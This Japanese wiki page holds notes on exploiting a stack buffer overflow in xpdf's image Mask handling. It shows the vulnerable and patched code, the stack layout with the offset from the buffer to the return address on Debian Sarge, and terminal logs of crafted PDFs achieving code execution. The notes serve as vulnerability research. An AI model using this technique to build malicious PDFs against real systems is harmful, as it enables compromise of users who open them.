FrontPage > Armadillo-9 > exploit xpdf
Gfx.cc:2660 行付近 パッチが当たると、以下のように境界チェックが入る。 if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength() && i < 2*gfxColorMaxComps; ++i) { maskObj.arrayGet(i, &obj1); maskColors[i] = obj1.getInt(); ----------------------------------------------------------------- // get the mask haveMask = gFalse; dict->lookup("Mask", &maskObj); if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength(); ++i) { maskObj.arrayGet(i, &obj1); maskColors[i] = obj1.getInt(); obj1.free(); } haveMask = gTrue; }
~/apps/xpdf_exploit$ ls -ls /tmp/itworked ls: /tmp/itworked: No such file or directory ~/apps/xpdf_exploit$ ./xpdf_change_arm ./exploit_xpdf_change_arm_sarge.pdf Error: No display font for 'Courier' Error: No display font for 'Courier-Bold' (...snip...) Error (0): PDF file is damaged - attempting to reconstruct xref table... ~/apps/xpdf_exploit$ ls -ls /tmp/itworked 0 -rw-r--r-- 1 a users 0 Aug 24 12:36 /tmp/itworked
/tmp$ ls -la /tmp/itworked ls: /tmp/itworked: No such file or directory /tmp$ /tmp/xpdf /tmp/exploit_i386.pdf Error: No display font for 'Courier' Error: No display font for 'Courier-Bold' (...snip...) Warning: Cannot convert string "-*-times-medium-r-normal--16-*-*-*-*-*-iso8859-1" to type FontStruct Error (0): PDF file is damaged - attempting to reconstruct xref table... /tmp$ ls -la /tmp/itworked -rw-r--r-- 1 a a 0 2006-08-14 03:02 /tmp/itworked
ローカル変数の配置は以下のようになっている。
| 0x00000000 |[maskColors] //攻撃対象 |[maskObj] //maskColors の取得に必要な変数 |... |[return address] | 0xffffffff Debian Sarge の環境では、maskColors の先頭からリターンアドレスまでは 320 バイト離れている。
int maskColors[2*gfxColorMaxComps]; //こちらに移動した Dict *dict; int width, height; int bits; GBool mask; GBool invert; GfxColorSpace *colorSpace; GfxImageColorMap *colorMap; Object maskObj; GBool haveMask; //int maskColors[2*gfxColorMaxComps]; //この行を Object obj1, obj2; int i;
void Gfx::doImage(Object *ref, Stream *str, GBool inlineImg) { Dict *dict; int width, height; int bits; GBool mask; GBool invert; GfxColorSpace *colorSpace; GfxImageColorMap *colorMap; Object maskObj; GBool haveMask; int maskColors[2*gfxColorMaxComps]; Object obj1, obj2; int i; ... // get the mask haveMask = gFalse; dict->lookup("Mask", &maskObj); if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength(); ++i) { maskObj.arrayGet(i, &obj1); [!] maskColors[i] = obj1.getInt(); obj1.free(); } haveMask = gTrue; } ... }
pdf の仕組みなどが解ったら書いていく。
Image オブジェクト(?)がある行に、いきなり /Mask などを追加すると、xref テーブルが壊れているとかなんとか言われてしまうが、一応読めはするらしい。
Author とか Creator の後に並んでいる 16進数のようなものは、ビッグエンディアンの Unicode のようだ。ただ、これも書き換えると xref テーブルがどうのこうの言われる。